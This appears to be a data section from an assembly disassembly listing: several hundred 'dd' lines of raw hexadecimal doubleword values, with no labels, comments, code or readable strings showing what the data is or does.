		dd 0CB671582h, 0E039103h, 83EDF17Bh, 723BB94Bh,	0F2FFD325h
		dd 4D7360E4h, 0AF18985h, 0A2F5848Bh, 806448E8h,	0C2635B61h
		dd 629EE9BAh, 0A55F7970h, 0B3FDC65Fh, 97003A97h, 28C111EDh
		dd 635BA5BCh, 1EB5FEC2h, 0F113BEA2h, 0D602DEA6h, 2DAAD62Eh
		dd 5F55DD17h, 298C40CAh, 0FCDF6682h, 48245C4Fh,	3A23748Ch
		dd 2CBB9F9Fh, 0B90A349Fh, 0D325723Bh, 9FC632FFh, 0F8C263B8h
		dd 46EA18ABh, 5D97AD2Ah, 93C2C3D4h, 0E5026FE9h,	0EE08F9C9h
		dd 0AA3C5291h, 63B6273Eh, 643380C2h, 0B293h, 2D99F500h
		dd 0C263B636h, 4082804Dh, 12F02473h, 5C2B61C2h,	0D2CC88FDh
		dd 9914C089h, 7A90F757h, 0AB9CDDE3h, 4BF59B6Dh,	5E96AC25h
		dd 0DEC2FED5h, 5B1278D6h, 0EB9CFDD0h, 5D823E85h, 5C79D54Ah
		dd 12854EA6h, 748C4828h, 0A9F9A55Fh, 9C9E2875h,	0CFA9EE4Fh
		dd 4A5D37CCh, 0A460E2EBh, 0DE721B8h, 3714D74Eh,	35A1FDA1h
		dd 4A5D362Eh, 904D3A87h, 4C85E959h, 2FD56F63h, 0FEC72D96h
		dd 0E5EA7199h, 0C13BFDBh, 654A5D36h, 318D2B5Ch,	83AE4AA1h
		dd 0D7C0B944h, 5D78E221h, 0F8D579CAh, 0E17D3D4Ah, 8F8350CAh
		dd 246Eh, 4502D200h, 683FC0FFh,	12326235h, 0DBE55F6Eh
		dd 5E23E8F7h, 277041CAh, 0E5D8h, 0BF143800h, 0E1A67F85h
		dd 26AE12BBh, 357D3D3Ah, 2C33C587h, 85CA5E1Fh, 9E2D4B3Ch
		dd 1F3E6591h, 0B797CA5Eh, 0E0F3E01Ah, 918BCE0h,	62CA5E1Fh
		dd 0E2BE4651h, 0EFF6E2BEh, 48CA5E1Eh, 1F766D7Bh, 2CFCA5Eh
		dd 0C26F6395h, 1EEBFADEh, 6F44CA5Eh, 5E1F5A89h,	0B51EB3CAh
		dd 993D615Dh, 0CA5E1F8Ah, 0C767CFE3h, 7A976C3Ch, 95AF2749h
		dd 0CFB1D66Fh, 1B29A603h, 3D8350D9h, 31D3FD61h,	5D3298C7h
		dd 0B7E0F1CAh, 3661714Dh, 8D2CEF62h, 23B3D7C0h,	0D0F89B1Fh
		dd 8053907Dh, 92B21C40h, 56AED972h, 37CD066Ah, 0A874A850h
		dd 7B1BCA5Dh, 0AB49F3DFh, 0D2725E22h, 4EC118C5h, 595F91Fh
		dd 2BC40D71h, 5DB498C7h, 0F3E0F1CAh, 1C7BD3A4h,	59350000h
		dd 0CE26DCF5h, 0B3ECF305h, 7C45CA5Dh, 0B4919034h, 0D9EACA5Dh
		dd 0AE12EEAEh, 5E241B4Ah, 385F74CAh, 8A6E8652h,	0CA5E245Bh
		dd 0CB41FB4h, 1ADA6270h, 9371933Eh, 67E09BAh, 6C98361Ah
		dd 58C5551Bh, 0E5EE5409h, 1EB9A55Fh, 9B3420E4h,	38B33269h
		dd 5F3BDB1Bh, 0B2F06C73h, 2DA9C540h, 2DBAC17h, 0DAF357E7h
		dd 7D03CC28h, 0A0E5B250h, 8C3EB5B1h, 0D6506703h, 7502951Eh
		dd 8Bh,	0E51FB793h, 1B01861Fh, 0B9F7FCDCh, 5E24160Dh, 0C5116DCAh
		dd 66A583Fh, 0C74A3CC9h, 7D0CB559h, 0B26AE46h, 0E08B4E81h
		dd 337D467Dh, 1285BF17h, 25B2CE6Ah, 3B4CE51Fh, 0D12350B5h
		dd 95AF2373h, 0BA74836Fh, 6B7A5E3Ah, 0C420E988h, 0DEFDE8EFh
		dd 3F47A472h, 0F1E2EBEEh, 8B452915h, 94570E79h,	0C5DC08A4h
		dd 1C20E927h, 0E928A9B8h, 11B10220h, 0A7B6D7C0h, 0F9ACE179h
		dd 0BBCC4655h, 6D43Ch, 0C7545C00h, 0D698A657h, 12E7ADDAh
		dd 0E560EAC2h, 2C5B399Bh, 337D8256h, 1B746B57h,	0B1CDCA5Eh
		dd 0C7A91A20h, 35FEF630h, 6E123262h, 3B7E064h, 0AA07D297h
		dd 4AC172Dh, 0FA0AC4A8h, 5E23F7EEh, 148350CAh, 656E1200h
		dd 41C37D8Ch, 71555B68h, 0CA5E2472h, 0F091F6CBh, 5D84704Ch
		dd 0B6CA5E24h, 127A9AEDh, 241B4AAEh, 0FE86CA5Eh, 942481B0h
		dd 9F3A169Ch, 0BD069F65h, 6BDABBCAh, 0B20E0895h, 5E121F46h
		dd 6B9936C7h, 6A0D7A47h, 0D1h, 0DF06F2CEh, 38C75E11h, 3A828B6Ch
		dd 0D00313F9h, 0FCDCD5C7h, 3C95B9F7h, 129B8106h, 4790616Eh
		dd 65EE06BDh, 462A8632h, 0AF787C88h, 240E10E8h,	0F6BCA5Eh
		dd 0F0B93BC5h, 5E079BA7h, 36FFC3E1h, 0A65C75FBh, 0CBF7931Dh
		dd 0CA5E17D4h, 8D2B983Fh, 0A50D329Dh, 12A96B1Ch, 39FC3EC2h
		dd 0B8C4C6BBh, 150EB6E0h, 143D879Fh, 3EE925E2h,	1A625E29h
		dd 1B4AAE12h, 74CA5E24h, 0B148385Fh, 0C9BAA24h,	8EA959B8h
		dd 0B6A26271h, 3F08EC18h, 125D3F94h, 0B6E1636Eh, 6D2AE12h
		dd 5A2D06FEh, 4AAE123Ah, 0CA5E241Bh, 79A84C74h,	0D2CA5E24h
		dd 0B2C5D201h, 0B0h, 0F2D6BAD6h, 0CA5E23F3h
		dd 7271774Ch, 89CA5E24h, 743DB74Dh, 9FA5324Eh, 90F7CC65h
		dd 4AAE128Ch, 0CA5E241Bh, 41C30C74h, 39FD0592h,	24AEB521h
		dd 0BC5CA5Eh, 0DBE8B9F9h, 0A45E79D5h, 0DCC0C760h, 0D77C212h
		dd 61A2C772h, 9E268A36h, 4E0E61BBh, 21D7C0F0h, 0CA5DB2FFh
		dd 0D5052E46h, 85087F38h, 0D88973Bh, 0D0E1CA5Eh, 0F5E1BD03h
		dd 0CA5E0CEEh, 70D7A47h, 0E3616E12h, 0F113319Dh, 2D912F58h
		dd 0FAE30DA5h, 6CB123D9h, 11384ACh, 1B4AAE12h, 74CA5E24h
		dd 0C143FD0Ch, 0CCACDBE8h, 1A22B03Dh, 3E8251DAh, 6918B22h
		dd 0CAA61A16h, 71A3F408h, 0E2626E12h, 66AB3BB5h, 1AB4AB37h
		dd 3A9B8DEBh, 0DBA51C9Bh, 19B252CCh, 485858AAh,	4E0B5224h
		dd 0ABCDBA45h, 0FEA21E20h, 8511CBDAh, 88F24E9h,	31804E32h
		dd 0CB64A09Ah, 0B13828F9h, 83500E38h, 8FB5213Dh, 7ABDC75h
		dd 5FA55F77h, 4EA65873h, 85D2099Ch, 0B5442814h,	9A510C7Bh
		dd 57826F6Ah, 35DB16ADh, 0FC84BE19h, 0FAD331D3h, 8B606B8Dh
		dd 0F86BBF40h, 7080BA60h, 93B11D63h, 4F308040h,	41FB1257h
		dd 0B2DAEAC3h, 270B7C38h, 908F3357h, 0E9E984DAh, 0E116AFD8h
		dd 1BD96B63h, 876D973Fh, 0BD9A51C8h, 0F952623Eh, 0C3C8D461h
		dd 7D302F93h, 3889E984h, 8A61FC8Bh, 81525F7Ah, 5868487Bh
		dd 9CAEA6E7h, 38C9CEECh, 2987B914h, 0B2036999h,	34630C49h
		dd 0B01E427Eh, 0B0D77094h, 0E3EB06D0h, 0F6498F8Ch, 3FB9DEE4h
		dd 0E984D31Dh, 0B3B2167Ah, 0CE984D3h, 0E218B9B7h, 0DABD05B5h
		dd 0D122EB1Ch, 211BB2CEh, 37794AE3h, 7F85BF13h,	0FBC87A53h
		dd 399AA68Ch, 0FCD50103h, 0E612AE46h, 0E984E5BFh, 0A13C8B18h
		dd 0C07C0D4Ah, 0F311339Ch, 39B02D5Ah, 0D96B6509h, 0E5F4EBD7h
		dd 844DE984h, 59EAE513h, 46F4FF2Bh, 12EFE48Dh, 2D84522Eh
		dd 63349FA5h, 258BB915h, 92CB419Dh, 0A5CB8C71h,	50D91B29h
		dd 7DE1BD47h, 7C55AF55h, 36D2320Bh, 6E8A6A9Ah, 0A022E262h
		dd 289C625h, 6F76623Eh,	0C8E9846Eh, 0DE162EA8h,	4C197E55h
		dd 0E511AD8Dh, 0E9846DBEh, 0FBFD8A17h, 97421ED3h, 6E647B6Dh
		dd 0F4BDE984h, 42C2428Ch, 0FA565A69h, 167423D9h, 0C632FFDAh
		dd 0E9846E9Fh, 9818ABF8h, 23F2BC08h, 0F2A5AE69h, 0F2DC8040h
		dd 6E19B252h, 25AD4492h, 3EAAF17Dh, 0E9842827h,	0CCA13380h
		dd 0DD930461h, 0E98434C3h, 71933C20h, 0EDCDBA93h, 0C23A01E5h
		dd 16AD44B3h, 0E71DB69Ah, 5F53440Dh, 796BA66h, 8E37A0Dh
		dd 85BF1438h, 1C88973Bh, 0D0E1E985h, 911EB9C7h,	6B44C07Ah
		dd 57F39958h, 0A9D7C07Ah, 0EF15C12Eh, 6BD4791h,	0FB09C6AAh
		dd 0DCAB5975h, 0CC6AAD6h, 82B68FF8h, 5480DCDCh,	187F48ACh
		dd 12AE8E4Dh, 851BBFE6h, 0FC8B18E9h, 0CDDCD1FCh, 70408053h
		dd 0A4338CF0h, 13C18A6Ah, 8EF9F39Dh, 0A0314DF3h, 5368069Bh
		dd 409336B7h, 5C9CEBC4h, 3117D071h, 7299C0EEh, 777BAA4Eh
		dd 0FFD4E984h, 4790ECD4h, 98E8CABDh, 16A0AF08h,	0D4C37061h
		dd 961A2AA4h, 1AD7CEFAh, 9030E985h, 851B3D64h, 0B60D96E9h
		dd 9FE81CBAh, 192AA39Bh, 4E702E27h, 15EFE4DEh, 0D401EEE9h
		dd 0C6FDD62Eh, 0B229BC2Eh, 0DBB398A6h, 2D15505h, 0E105A997h
		dd 0E98517C2h, 6401861Bh, 3F99B585h, 6B669205h,	5973D7D9h
		dd 13844DA7h, 0A5FACA66h, 68EA309Fh, 0AF241EADh, 6E12B4E8h
		dd 4625E065h, 565A88DCh, 0D9BE876Dh, 14BF2CA7h,	5F4EBD7h
		dd 844DCA5Eh, 0A71CB54Fh, 636E12E5h, 9804B6E1h,	2CAEC212h
		dd 0FEC67C55h, 0DEA9AF17h, 0CBF711ACh, 0CA5D27D4h, 0F3DCA42Dh
		dd 0A91AB351h, 0F1DEB707h, 0CCFC0FE3h, 0F6DE4EF0h, 0C0C72B25h
		dd 116D53DCh, 0F0B93BC1h, 6E1275A7h, 8922E262h,	0B351EBE7h
		dd 0B9986D1Ah, 0EA089579h, 0C9h, 50BD864Eh, 7BAE8540h
		dd 1DC080Ch, 988F0BFBh,	6D0F46C8h, 2C05C236h, 0C1FFD4FFh
		dd 5BE4C2F1h, 86117145h, 646E1296h, 0DD09B7E0h,	0CA5E23C3h
		dd 0BF229020h, 0A9702179h, 0F1CFE4DEh, 0CBD612E1h, 89E7ECFBh
		dd 7952B248h, 0AE120E0Eh, 5E241B4Ah, 385F74CAh,	5C882488h
		dd 0CA5E2445h, 0F12BC29Eh, 0FE893A13h, 626E121Eh, 0FE8922E2h
		dd 0BC2DD002h, 26FBED85h, 50352C98h, 458ECA5Dh,	0DF7B458Eh
		dd 21AA4AF4h, 0C212A676h, 0A656B95Bh, 49FF8832h, 71553955h
		dd 0CA5DC572h, 0F3F2F6CBh, 4CCA5DC4h, 0C5618064h, 0E9BACA5Dh
		dd 12E7ADDAh, 24E0646Eh, 0DE146F8Ch, 0BB826E6h,	917B7Ch
		dd 19D0000h, 5D6BCED5h,	0ED9A27CAh, 4AAE1227h, 0CA5E241Bh
		dd 245F8672h, 0EBB8CA5Eh, 5876FAC7h, 14A7DBACh,	0BE91BB4h
		dd 4B2F9142h, 9BA52FBCh, 123D5F28h, 0F4DA26AEh,	356DE51Dh
		dd 8282BC4Bh, 81ADEA9h,	4FCA5D75h, 92227E42h, 0F8B6095Bh
		dd 0D7CE1A87h, 30CA5DFAh, 1220F4A3h, 25DF656Eh,	55EFE48Ch
		dd 0CF7116AFh, 0BA448FEBh, 0F966723Ah, 2854B001h, 1228EC9Bh
		dd 20E4606Eh, 0D2000087h, 24B4AB17h, 0C40DCA5Eh, 1CDB10Fh
		dd 5F280103h, 12821A3Dh, 25DF656Eh, 24564D79h, 22AFCA5Eh
		dd 3A12E6B1h, 56CA5E35h, 19D8F65Ah, 5E13B6ADh, 11C20FCAh
		dd 0F8507986h, 0B397FFFFh, 440DE719h, 2671933Ch, 4AAE12F6h
		dd 0CA5E241Bh, 589CA032h, 0B9DEF3CFh, 5E241C3Fh, 0F2DF7BCAh
		dd 24929135h, 0D6EBCA5Eh, 593E07EDh, 0BE4DA531h, 589CA631h
		dd 280004CFh, 6C4FB528h, 4093406Eh, 4192EED2h, 277039BBh
		dd 0D8F5C2D9h, 0F75B992Ah, 0CA5DF6E8h, 0CA2AD4FFh, 0E51F25AEh
		dd 4C09E063h, 408CF08Ch, 6C5844C0h, 0CA5DF775h,	0C9CE05CEh
		dd 0E17DBD1Ch, 30D2FDCAh, 2CC8FBD4h, 0F504F4A3h, 7F54ECE8h
		dd 6A795D41h, 0D5CA5DF7h, 7A5B6C7Ah, 586C46F3h,	0A0C13AFAh
		dd 5C2B98CFh, 0FC00D2AEh, 0B7462A06h, 379B777Dh, 0CA5DB328h
		dd 0F4A33081h, 0E0ED4F0Eh, 0B37CA34Fh, 0CCD5CA5Dh, 160DB9F7h
		dd 6FCA5DB3h, 2B4F7162h, 0CD669EA0h, 3A5642BAh,	5DB3978Eh
		dd 0B4E3F0CAh, 0B4066E3Ch, 2AE4F30Ch, 2024AECAh, 47A223E4h
		dd 1FE51FB7h, 0DDB93D86h, 48AC5681h, 8E4D187Fh,	4D2AEh
		dd 9FD8C0D4h, 5929A5Eh,	0C34B5100h, 8E472347h, 0D0B79074h
		dd 4D32Fh, 6E126D00h, 41B7E064h, 0CA5E241Fh, 93E3347Ch
		dd 46A7CC02h, 176F4941h, 705083BDh, 58183684h, 13BFDBD2h
		dd 0C263C20Ch, 0BB145C65h, 0B5E26B89h, 0D46E6905h, 0FDD99730h
		dd 0AF24AD47h, 90616D11h, 6D46BE46h, 82159E56h,	4C982808h
		dd 0CCA393AFh, 0B22123ACh, 0B70493E5h, 0CDF3E01Ah, 6D1A20B1h
		dd 5B87230Fh, 0C263BE44h, 694D54AFh, 674BF1A3h,	53E56A5Ah
		dd 0A3244D90h, 37CE04F4h, 0C43F223Ah, 1EB8B8D0h, 8E450EE6h
		dd 51FACA76h, 2AAADC88h, 0E1F10F78h, 8D39555Bh,	0C263D696h
		dd 0E32123ADh, 2C5B684Ah, 4C88E4D0h, 107750B4h,	0CC0860FAh
		dd 0A74DF7E1h, 764FB51Eh, 0D6978E3Ah, 0E3F0C263h, 2300D0F0h
		dd 63E89A36h, 3C492033h, 64E9FE88h, 45298533h, 1236798Ah
		dd 2FCA3BBFh, 0B7DF3A4h, 18CA5E20h, 0E9515074h,	0C6AABA69h
		dd 0C1C6FD37h, 1393B101h, 960B68ACh, 8F44F8DAh,	0A94FDD22h
		dd 0BB98F8CEh, 1F10h, 0A0728A4Ah, 38CA7260h, 9B67A138h
		dd 4EC47E53h, 72A0A432h, 4492C2E4h, 0A22E52C0h,	479070A2h
		dd 0AE2945BDh, 0E5DB7E94h, 5C22E201h, 59193BC2h, 1B4AAE12h
		dd 74CA5E24h, 8BB1215Fh, 30D1FCFCh, 5A7EF87Bh, 0CA5DC54Bh
		dd 92C50FA4h, 0CA2E9278h, 0CA5D889Bh, 0CCF4DFF4h, 0E8056904h
		dd 0C632499Fh, 0CA5E039Fh
		dd 6F18ABF8h, 5165F315h, 56A2A02Dh, 0CA5E034Fh,	0C5DC08A8h
		dd 1ECA5E02h, 2B953E95h, 7A7A844Fh, 0B6DAE6B1h,	40F0E1EEh
		dd 0C28B6993h, 91413712h, 9F5A7206h, 89E5D25Fh,	0A30DB64Ch
		dd 0DCC4DB07h, 941DC25Bh, 82193503h, 586B9935h,	91903458h
		dd 0EAC25BDDh, 5C64AED9h, 102AD300h, 87823BF2h,	2652458Eh
		dd 758F4A97h, 0D1FE625Eh, 78F8D133h, 24E0A761h,	4BC5D478h
		dd 5C913C3Ch, 5B6E6978h, 0E2F1C2C2h, 0AB5182DEh, 6D178049h
		dd 0EABDBD9Bh, 19BCFB69h, 59357B48h, 5B35766Dh,	7E02CFC2h
		dd 0DAE6B153h, 3399AB6h, 0B2B11501h, 0BC25B35h,	0F67A0DB6h
		dd 0CA5537CCh, 0A6FF5969h, 0E3ECFDC8h, 0E4BD06B4h, 0CEB12669h
		dd 0DDE7146Ch, 1700001Dh, 6B937FB9h, 4925DD67h,	668A78B2h
		dd 432BD76Dh, 0BB89798Bh, 0E71DB99Bh, 47F9D31Bh, 0E81AB3BBh
		dd 49FBD61Ah, 46B20EB9h, 0C25C221Fh, 121EDE78h,	0E6793FC2h
		dd 0F985CE8h, 0F62249C5h, 0ED9A29DBh, 0C72BC00Bh, 0CA5D3698h
		dd 0CDF3E0F1h, 781F25B1h, 688C300Ch, 0CA5D3639h, 34564192h
		dd 533EA6A6h, 1FC1A781h, 0BCC40CB4h, 56EBBF5h, 7490AA27h
		dd 0A19FE8DBh, 5311A1FDh, 0C39DAC64h, 0CF061DCBh, 525FCA5Dh
		dd 0D149AB45h, 2B78D257h, 58D2E985h, 0CE756C58h, 5CEC263h
		dd 6838F892h, 29A36B50h, 1667AD17h, 0C510F097h,	0B2A5BC28h
		dd 12BCC263h, 793912F2h, 748C4828h, 753D615Fh, 40DB4E3Ah
		dd 0C5DC0C0Fh, 1EC263FFh, 0A8880295h, 98FC35C4h, 0FCDA2778h
		dd 1CABD5FEh, 3E49E222h, 6E5A6E4Ch, 0C2637D77h,	0F0D003D0h
		dd 1D27B0CCh, 0AF494ED7h, 0CA655EA2h, 564D7915h, 6DBA619Dh
		dd 8B24E062h, 4DED9A27h, 9D5E8571h, 0EAB7BA61h,	0FB3D7D9h
		dd 0BA619D10h, 912F5869h, 7C86512Dh, 11DEED0Bh,	53E9EAC7h
		dd 116D5380h, 0ECC53FC5h, 9D0120C4h, 495ABA61h,	0E4ECD43Eh
		dd 0DEA3D7E4h, 8B6D1ABAh, 1C43AF7Ch, 75BA616Ch,	8919972Ch
		dd 0FA7C5913h, 525175E4h, 0ABBA61D3h, 22DAAD16h, 0B7AE1A76h
		dd 10BA61D3h, 29A4D4C3h, 0C8FB35C4h, 3639D8E8h,	0E1231DACh
		dd 7E627C48h, 0BDDA7F0h, 0B6AD192Dh, 0FBA61C4h,	0BAF11C2h
		dd 61C3B8E7h, 5E6D11BAh, 98A8EFE4h, 0DC5FACF4h,	0F4D7828Eh
		dd 2DB3CDA3h, 6E52C25Bh, 0DE261B66h, 8474A6A2h,	0B268205Dh
		dd 201110B4h, 596AB268h, 267B4859h, 0D6AA969Dh,	15FBD838h
		dd 4F00001Ch, 638B7781h, 413DD56Fh, 5EA270AAh, 3B43CF75h
		dd 0B3A17193h, 0EF15C193h, 4FF1DB23h, 0F012BBC3h, 51F3DE22h
		dd 3EAA16C1h, 0C25C2027h, 1216E680h, 1FE55F6Eh,	0D4FF0186h
		dd 0C242FCD7h, 7AD6DAE9h, 24E0A75Dh, 0B2207842h, 0D377398Ah
		dd 0E4B14BC4h, 0DF408D9Eh, 0EA3810F4h, 5D25F108h, 6C6A06BDh
		dd 0AD11AFD8h, 0E3616D11h, 5D940E15h, 2D5A67CAh, 57A579C3h
		dd 9F3A16D2h, 0E8883265h, 159E56EEh, 0DDB202BEh, 0D602F8ABh
		dd 53EDE888h, 236F18B1h, 6C963F1Bh, 0A8D8BF88h,	9815BF2Ah
		dd 1D2013Bh, 10329BBFh,	0DE2C5BF4h, 0B0547EE2h,	0F50299E7h
		dd 63CCD2D1h, 2D962BC2h, 52ECE783h, 0C5E9C545h,	63CD0221h
		dd 61475BC2h, 0B62246A8h, 0B4E8AF24h, 8326AE12h, 9C1C6A1h
		dd 6B2E35C3h, 3A87CA5Dh, 97A3354Dh, 1F6EEE29h, 8803D1FFh
		dd 4A760524h, 87E3CDF6h, 7750B44Eh, 0F08C3010h,	0C42C5BE5h
		dd 0D257753Eh, 22DCF753h, 2ADAF6E2h, 0AED201CAh, 4BE42024h
		dd 0B6227E3Ch, 0C26366AFh, 253CA808h, 7EC26366h, 8B359E35h
		dd 0E5ADE843h, 13844DC4h, 1AB1CD69h, 0DE017720h, 83C263CEh
		dd 3D2121B8h, 0E1247391h, 26FD070h, 0D6807C44h,	0D1C97D0Fh
		dd 0C039C6h, 0F3570000h, 41FBD7E4h, 0D20F0592h,	1CF8FC00h
		dd 0BE179240h, 1CA78084h, 38484FD8h, 3DC70F9Ah,	1FE5EEB7h
		dd 46C0D773h, 55923F41h, 5E247271h, 0CDF6CBCAh,	75EEDBE3h
		dd 0B692AABBh, 8B4733D1h, 0A22B4F71h, 939BF7A0h, 0EE620B7h
		dd 0AA305245h, 8381834Eh, 0F39719AAh, 5D9DD0CFh, 0EF9829CAh
		dd 0BB5FA551h, 58F4D257h, 0ECD6C17Bh, 3577CAD7h, 65EC6AFh
		dd 1A47D9h, 0A9538100h,	87BD1559h, 0AA64737Bh, 81BB1858h
		dd 0E3616D91h, 0D77DA52Fh, 0B1CD45FFh, 9E51D27h, 0A4CC36CCh
		dd 5CEB1729h, 1E6D7460h, 0B0C6C25Ch, 4AAE12ECh,	0CA5E241Bh
		dd 48385F74h, 8AB41F8Ah, 20F2E16Ah, 93DFh, 0AE121D00h
		dd 23BFE612h, 8B18CA5Eh, 5E24465Dh, 85129FCAh, 36A65F73h
		dd 8736792Dh, 20C02CBFh, 5DCA3FB4h, 0CEB28E66h,	1F25AD04h
		dd 35F720B4h, 6E573C2Eh, 5357E129h, 67452268h, 545C67C0h
		dd 0B5F46838h, 51A9059Bh, 5C98A22Fh, 0DA2CC4D3h, 0E9D257A8h
		dd 0DB64C85h, 0AF453B94h, 1D3A9AC6h, 199Ch, 0BC46FED6h
		dd 1CE61EB4h, 0B74BC5D4h, 32E01AB7h, 8E84804Eh,	18B69EC8h
		dd 0FEDA16ECh, 1BB4BC46h, 0FAD519E9h, 0B10FBA48h, 5C1E1E45h
		dd 1DDD77C2h, 1B4AAE12h, 74CA5E24h, 8D48385Fh, 1AB08F74h
		dd 5D7DB7AEh, 11C310CAh, 665DD305h, 99AC264Ah, 0A1B92D2h
		dd 1A6D56C5h, 3D9AB662h, 0BA6A5308h, 5F74CD6Ah,	7D7B0CA5h
		dd 2854B052h, 857193ADh, 1D39BB49h, 0DC758FB5h,	2623C6BFh
		dd 4091EDD3h, 0D910CDBAh, 957A2736h, 0F8D57905h, 0FCBA3D4Ah
		dd 0BA000004h, 1B4AAE12h, 74CA5E24h, 0CC8D385Fh, 0F73A94B8h
		dd 5E23D4CBh, 2FA42DCAh, 40982268h, 0C0896B95h,	6825AD13h
		dd 0FBD4A952h, 0A95B74FCh, 0F6BEE2DEh, 180EA66Bh, 73FD8AE0h
		dd 0D257CCD9h, 0D5DCFA56h, 22AB49FBh, 0C7DCE6B1h, 221C5E9h
		dd 5BC263A2h, 0DCC04146h, 0DEA95380h, 0FB4AAA1Ah, 0FBE7C3B5h
		dd 0CECBF8E4h, 0B1BADC4Fh, 6B47382Fh, 7F593156h, 2C92367Ah
		dd 51D6C624h, 85E10C81h, 0F5A26122h, 96AC2945h,	0F16C25Eh
		dd 68C6D223h, 555B685Bh, 6325724Dh, 3057679Bh, 1D8E8D4h
		dd 1110B4CAh, 6AC6D1E7h, 72C6B59h, 0FDDBAFD8h, 9A078FDh
		dd 0F7CCBB64h, 83A95B9h, 3DC710ECh, 0B2E5EEB7h,	2817E206h
		dd 0AAC6CED0h, 0FA08C52Ch, 62A231FAh, 4DA75D76h, 85714F84h
		dd 0BED3B35Eh, 9D9DEAB7h, 16EE14C1h, 6B58ECEAh,	0D8F45858h
		dd 9403CC28h, 6B6408A4h, 3CB84C86h, 0BA46073h, 5C517C7Ch
		dd 9831D34Dh, 0B3B5AC18h, 0C50EBED3h, 0D1FC040Eh, 0B3A9B81Ch
		dd 0B102BED3h, 4188F22h, 63BDCA3Fh, 17E376h, 8DB71D00h
		dd 0A3597975h, 0BE788F6Fh, 9DA72C54h, 0B74D8965h, 0FB59794Bh
		dd 9DE131D3h, 0FD011133h, 0A0E032D0h, 50F70B35h, 1C59886Ch
		dd 0D4B2C25Ch, 0E900D2C0h, 5E23E6FDh, 61723FCAh, 88973B5Fh
		dd 0E1CA5E24h, 1C4C43D1h, 2EA50657h, 5BFF9B69h,	0AE05CF71h
		dd 0FC462FFEh, 83552D5Ah, 2C97A923h, 1C982884h,	5E5B6314h
		dd 89087017h, 80D25FE6h, 933FF2DCh, 0C25C258Ch,	0C9E7DCE5h
		dd 5C25061Dh, 45525FC2h, 0B0632D75h, 0C4B76694h, 2C21B10Fh
		dd 7EA5517Dh, 0D7C25C74h, 92FBFACAh, 8A261285h,	9C58ECE6h
		dd 58748413h, 2ACA7855h, 0F28E32A1h, 0CA55FE5h,	4B2F0F7Bh
		dd 0D6017F81h, 0B31D5B2Ch, 0A6AE4B92h, 0B3206ADEh, 0DF65710Dh
		dd 0E8E48C25h, 0B3D52F58h, 0C24A2525h, 0EB544B77h, 24ADC25Ch
		dd 70726DB0h, 5CCE5D84h, 0D6EDB6C2h, 2EA7C3EDh,	3057F014h
		dd 0FD526490h, 0DD81CA56h, 8C933FF0h, 0E5BA629Fh, 0D4DCE7DCh
		dd 0A537B6CCh, 0D60253D5h, 0BA62CCCFh, 5F289B28h, 75613D61h
		dd 0BA62CD6Eh, 6B8DFAC7h, 32F7E061h, 60C72EAEh,	9A314D73h
		dd 939BF7A0h, 0B7E01AB7h
		dd 31A20FC9h, 7360E90Bh, 5E85714Dh, 0B7BA62F1h,	33DF9DEAh
		dd 0FDBF506Bh, 0C0C72837h, 3D9815C0h, 9B280103h, 0AFC09506h
		dd 0F3E040CEh, 167Ch, 1CE61EB6h, 0BC46FED4h, 17EB25B4h
		dd 0D240FAD7h, 0EE2420AEh, 0B8163E68h, 5E7A768Ch, 0BB145CA6h
		dd 5A757989h, 516F5AA8h, 5C1A7EA5h, 7D7DD7C2h, 0E2626E12h
		dd 0F6BEFAB5h, 70B47011h, 6F098E50h, 0CA5D5078h, 7E58557Fh
		dd 2EA52EC6h, 1913AAD6h, 43C17B57h, 0ABA84342h,	0E1ED912Dh
		dd 7F08A163h, 6B3303E6h, 0B99DD7F0h, 857E095Fh,	0E913BF9Bh
		dd 2D55420Bh, 7C864BABh, 9C24AF78h, 83B97814h, 723BB94Bh
		dd 3594962h, 3640A494h,	63D257F4h, 0F7DFCC07h, 0B51EA74Dh
		dd 960103CBh, 67BC04ACh, 4A0376F1h, 144C53A5h, 1CA5C264h
		dd 6A6509A7h, 0AD11AFD8h, 0C9498825h, 0AD17A92Fh, 12E486B3h
		dd 0B9C7D049h, 0F2F1D522h, 4BC2634Dh, 7634D76h,	0C15136F0h
		dd 8DE9F1C7h, 0BA483650h, 0F357596Ah, 0AECA2AE4h, 10B02321h
		dd 6422BDE4h, 0FA8D16C2h, 0D1FE623Eh, 618C6433h, 20CA615Ch
		dd 0E45F8D90h, 8611D853h, 0A3A94BCh, 4E7261EAh,	0CF5F8672h
		dd 0EBB8BA66h, 5C009C9Ch, 2AA3CD77h, 4453DC18h,	70549934h
		dd 0BA66CF71h, 6DDF9EDCh, 6E54D2A4h, 6E526E65h,	665D5B8Ah
		dd 781FB4BAh, 983A161Ah, 8007A064h, 87AC5580h, 0D074623Ah
		dd 7C299B34h, 822FA47Ah, 0CEABC4B7h, 1D99C61Eh,	57000015h
		dd 2B53BF79h, 89659DA7h, 264AB872h, 836B97ADh, 7B49B94Bh
		dd 27DDF95Bh, 73993DBh,	28DAF3FBh, 93B96DAh, 86724EF9h
		dd 0C25C195Fh, 12DE9EB8h, 13BD2AEh, 0A7BE2A03h,	0CA5E24h
		dd 110CE4B3h, 70CA5E24h, 2479A84Ch, 1D2CA5Eh, 826F6A96h
		dd 2B3A9E6Bh, 84CA5E24h, 7460A42Fh, 0A71CA759h,	0D86A6509h
		dd 535B63AFh, 7DFBD21Eh, 8C7E0915h, 0C77D5AAEh,	0ECD8B4FCh
		dd 0CA5DD5F5h, 0D679A84Ch, 1D2CA5Dh, 99A7F0C1h,	362D99F5h
		dd 8FCA5DD6h, 0D39B5542h, 8CD25825h, 395EE6F0h,	0F4F23989h
		dd 389FACFBh, 8D49258Bh, 35A17D77h, 0C263332Eh,	0FE893A87h
		dd 94B11E42h, 0EBA08B41h, 0EB2211Fh, 0B7E06472h, 0E0F7535Bh
		dd 7B05CE26h, 98E8AF51h, 0DF06F23Fh, 38C2638Ch,	0F458586Bh
		dd 1CA2ADAh, 8D0C13BFh,	5C65C263h, 0C9E5D12Bh, 8CE201E5h
		dd 663BC263h, 638D6382h, 0A0E7BCC2h, 141B5Fh, 81DDC100h
		dd 273EAA50h, 80C2638Dh, 12306433h, 24E0646Eh, 3406FC8Bh
		dd 0AA4AFAD4h, 720EB221h, 9019DB61h, 0F9553907h, 0F3DF25DFh
		dd 0EA9D26D8h, 584F3886h, 5781DDD2h, 80E0DAADh,	7E47AD57h
		dd 6703AF55h, 2EC2D56Fh, 0C263F933h, 787C8052h,	35CF715Ch
		dd 90748E49h, 16D510B7h, 0D1E1BD39h, 861DA844h,	34B1D649h
		dd 403D85B5h, 0CEB6518Ah, 5504098Eh, 66026F06h,	3C1h, 1C29A6CAh
